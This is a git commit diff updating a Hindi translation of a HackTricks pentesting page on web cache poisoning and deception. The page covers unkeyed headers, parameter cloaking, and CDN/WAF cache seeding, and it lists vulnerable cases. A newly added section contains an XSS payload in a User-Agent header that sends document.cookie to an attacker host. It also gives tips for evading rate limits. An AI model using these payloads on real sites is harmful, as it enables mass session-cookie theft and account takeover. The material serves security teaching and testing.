mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest
This commit is contained in:
Translator
parent
aac57b7376
commit
dd5e688794
@ -7,25 +7,25 @@
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?**
|
||||
>
|
||||
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
|
||||
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हो जाएं। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को परोसी जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को परोसी जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
|
||||
कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है:
|
||||
|
||||
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं, जो कैश में अनुरोध के लिए आवश्यक नहीं होते, लेकिन सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषण के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ तक पहुंचने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
|
||||
### Discovery: Check HTTP headers
|
||||
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर ऐसा संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडर पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Discovery: Caching error codes
|
||||
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ उत्तर दिया जाना चाहिए। फिर सामान्य रूप से अनुरोध तक पहुंचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह कमजोर है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
|
||||
आप अधिक विकल्प पा सकते हैं:
|
||||
|
||||
@ -41,24 +41,24 @@ cache-poisoning-to-dos.md
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करना
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
|
||||
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या अपने द्वारा नियंत्रित JS कोड लोड करें? एक DoS प्रदर्शन करें?...)
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)
|
||||
|
||||
### प्रतिक्रिया को कैश करें
|
||||
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करना पड़ सकता है।
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।
|
||||
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब इसे कैश किया गया है।\
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\
|
||||
हेडर **`Cache-Control`** भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** के **भाग** के रूप में माना जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के भाग के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
|
||||
कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है।
|
||||
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कीड** के रूप में उपयोग किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
एक अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **शिकार को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
|
||||
## शोषण के उदाहरण
|
||||
## शोषण उदाहरण
|
||||
|
||||
### सबसे आसान उदाहरण
|
||||
|
||||
@ -87,7 +87,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### कुकी-हैंडलिंग कमजोरियों का शोषण करने के लिए वेब कैश विषाक्तता का उपयोग करना
|
||||
|
||||
कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का शोषण करने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS उत्पन्न कर सकते हैं, तो आप उन कई क्लाइंट्स में XSS का शोषण करने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -113,9 +113,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### वेब कैश विषाक्तता कमजोरियों का लाभ उठाने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### वेब कैश विषाक्तता कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीद इनपुट्स का लाभ उठाने की आवश्यकता होगी**। उदाहरण के लिए, आप एक **Open redirect** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप नियंत्रित कर सकते हैं कि रीडायरेक्ट द्वारा पृष्ठ कहाँ इंगित किया गया है।
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई बिना कुंजी वाले इनपुट का शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -124,7 +124,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### सीमित `Vary` हेडर के साथ शोषण
|
||||
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को बाहर निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को ज़हर देने का एक तरीका खोजना होगा:
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर को **JS संसाधन लोड करने के लिए डोमेन नाम** के रूप में उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -144,15 +144,15 @@ report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloacking
|
||||
### Parameter Cloaking
|
||||
|
||||
उदाहरण के लिए, **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग किया जा सकता है। इसका उपयोग बिना कुंजी वाले पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।
|
||||
उदाहरण के लिए, **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग किया जा सकता है। इसका उपयोग कुंजी रहित पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
यहां जानें कि कैसे [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
@ -160,41 +160,77 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
यह वास्तविक दुनिया का पैटर्न एक हेडर-आधारित परावर्तन प्राइमिटिव को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को परोसे गए कैश किए गए HTML को विश्वसनीय रूप से ज़हर दिया जा सके:
|
||||
|
||||
- मुख्य HTML ने एक अविश्वसनीय अनुरोध हेडर (जैसे, `User-Agent`) को निष्पादन योग्य संदर्भ में परावर्तित किया।
|
||||
- CDN ने कैश हेडर को हटा दिया लेकिन एक आंतरिक/मूल कैश मौजूद था। CDN ने स्थिर एक्सटेंशन (जैसे, `.js`) में समाप्त होने वाले अनुरोधों को भी स्वचालित रूप से कैश किया, जबकि WAF ने स्थिर संपत्तियों के लिए GETs पर कमजोर सामग्री निरीक्षण लागू किया।
|
||||
- अनुरोध प्रवाह की विचित्रताएँ एक `.js` पथ के लिए अनुरोध को मुख्य HTML के लिए उपयोग किए जाने वाले कैश कुंजी/वैरिएंट को प्रभावित करने की अनुमति देती हैं, जिससे हेडर परावर्तन के माध्यम से क्रॉस-यूजर XSS सक्षम होता है।
|
||||
|
||||
Practical recipe (observed across a popular CDN/WAF):
|
||||
|
||||
1) एक साफ IP से (पूर्व की प्रतिष्ठा-आधारित डाउनग्रेड से बचें), ब्राउज़र या Burp Proxy Match & Replace के माध्यम से एक दुर्भावनापूर्ण `User-Agent` सेट करें।
|
||||
2) Burp Repeater में, दो अनुरोधों के एक समूह को तैयार करें और "Send group in parallel" का उपयोग करें (एकल-पैकेट मोड सबसे अच्छा काम करता है):
|
||||
- पहला अनुरोध: एक ही मूल पर एक `.js` संसाधन पथ GET करें जबकि आप अपना दुर्भावनापूर्ण `User-Agent` भेज रहे हैं।
|
||||
- तुरंत बाद: मुख्य पृष्ठ GET करें (`/`)।
|
||||
3) CDN/WAF रूटिंग दौड़ के साथ-साथ स्वचालित रूप से कैश किया गया `.js` अक्सर एक ज़हरीला कैश किया गया HTML वैरिएंट बीज देता है जो फिर अन्य आगंतुकों को परोसा जाता है जो समान कैश कुंजी स्थितियों (जैसे, समान `Vary` आयाम जैसे `User-Agent`) को साझा करते हैं।
|
||||
|
||||
Example header payload (to exfiltrate non-HttpOnly cookies):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
Operational tips:
|
||||
|
||||
- कई CDNs कैश हेडर छिपाते हैं; जहर देना केवल बहु-घंटे के रिफ्रेश चक्रों पर दिखाई दे सकता है। दर सीमित या प्रतिष्ठा ट्रिगर्स से बचने के लिए कई दृष्टिकोण IPs का उपयोग करें और थ्रॉटल करें।
|
||||
- CDN के अपने क्लाउड से एक IP का उपयोग करने से कभी-कभी रूटिंग स्थिरता में सुधार होता है।
|
||||
- यदि एक सख्त CSP मौजूद है, तो यह अभी भी काम करता है यदि परावर्तन मुख्य HTML संदर्भ में निष्पादित होता है और CSP इनलाइन निष्पादन की अनुमति देता है या संदर्भ द्वारा बायपास किया जाता है।
|
||||
|
||||
Impact:
|
||||
|
||||
- यदि सत्र कुकीज़ `HttpOnly` नहीं हैं, तो सभी उपयोगकर्ताओं से `document.cookie` को बड़े पैमाने पर निकालकर शून्य-क्लिक ATO संभव है, जिन्हें जहर दिया गया HTML परोसा गया है।
|
||||
|
||||
Defenses:
|
||||
|
||||
- HTML में अनुरोध हेडर को परावर्तित करना बंद करें; यदि अनिवार्य हो तो सख्ती से संदर्भ-कोडित करें। CDN और मूल कैश नीतियों को संरेखित करें और अविश्वसनीय हेडर पर भिन्नता से बचें।
|
||||
- सुनिश्चित करें कि WAF `.js` अनुरोधों और स्थिर पथों पर सामग्री निरीक्षण को लगातार लागू करता है।
|
||||
- सत्र कुकीज़ पर `HttpOnly` (और `Secure`, `SameSite`) सेट करें।
|
||||
|
||||
## Vulnerable Examples
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ने URL के अंदर के अंश को बिना हटाए आगे बढ़ाया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में इसका पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी।
|
||||
ATS ने URL के अंदर के अंश को बिना हटाए अग्रेषित किया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में केवल होस्ट, पथ और क्वेरी थी, इसमें पेलोड नहीं था।
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश्ड प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी, इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था।
|
||||
सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी, इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था।
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए, हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए यह संभव था कि हेडर `x-http-method-override: HEAD` भेजा जाए और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए जहर दिया जाए। यह विधि `PURGE` का भी समर्थन कर सकती है।
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails अनुप्रयोगों में, Rack मिडलवेयर का अक्सर उपयोग किया जाता है। Rack कोड का उद्देश्य **`x-forwarded-scheme`** हेडर के मान को लेना और इसे अनुरोध की योजना के रूप में सेट करना है। जब हेडर `x-forwarded-scheme: http` भेजा जाता है, तो उसी स्थान पर 301 रीडायरेक्ट होता है, जो उस संसाधन के लिए सेवा से इनकार (DoS) का कारण बन सकता है। इसके अतिरिक्त, अनुप्रयोग `X-forwarded-host` हेडर को मान्यता दे सकता है और उपयोगकर्ताओं को निर्दिष्ट होस्ट पर रीडायरेक्ट कर सकता है। यह व्यवहार हमलावर के सर्वर से JavaScript फ़ाइलों को लोड करने का कारण बन सकता है, जो सुरक्षा जोखिम पैदा करता है।
|
||||
|
||||
### 403 and Storage Buckets
|
||||
### 403 और स्टोरेज बकेट
|
||||
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि, Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया। गलत प्राधिकरण हेडर के साथ S3 या Azure स्टोरेज ब्लॉब्स तक पहुँचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
### कीड पैरामीटर इंजेक्ट करना
|
||||
|
||||
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि उत्पन्न हुई।
|
||||
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान देने से कैश करने योग्य 400 Bad Request त्रुटि उत्पन्न हुई।
|
||||
|
||||
### User Agent Rules
|
||||
### उपयोगकर्ता एजेंट नियम
|
||||
|
||||
कुछ डेवलपर्स उच्च-ट्रैफ़िक उपकरणों जैसे FFUF या Nuclei के अनुरोधों को ब्लॉक करते हैं ताकि सर्वर लोड को प्रबंधित किया जा सके। विडंबना यह है कि यह दृष्टिकोण कैश पॉइज़निंग और DoS जैसी कमजोरियों को पेश कर सकता है।
|
||||
कुछ डेवलपर्स उच्च-ट्रैफ़िक उपकरणों जैसे FFUF या Nuclei के मिलते-जुलते उपयोगकर्ता-एजेंट के साथ अनुरोधों को ब्लॉक करते हैं ताकि सर्वर लोड को प्रबंधित किया जा सके। विडंबना यह है कि यह दृष्टिकोण कैश जहर देने और DoS जैसी कमजोरियों को पेश कर सकता है।
|
||||
|
||||
### Illegal Header Fields
|
||||
### अवैध हेडर फ़ील्ड
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को आगे बढ़ाता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक शोषण योग्य पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैश करने योग्य 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
|
||||
### Finding new headers
|
||||
### नए हेडर खोजना
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
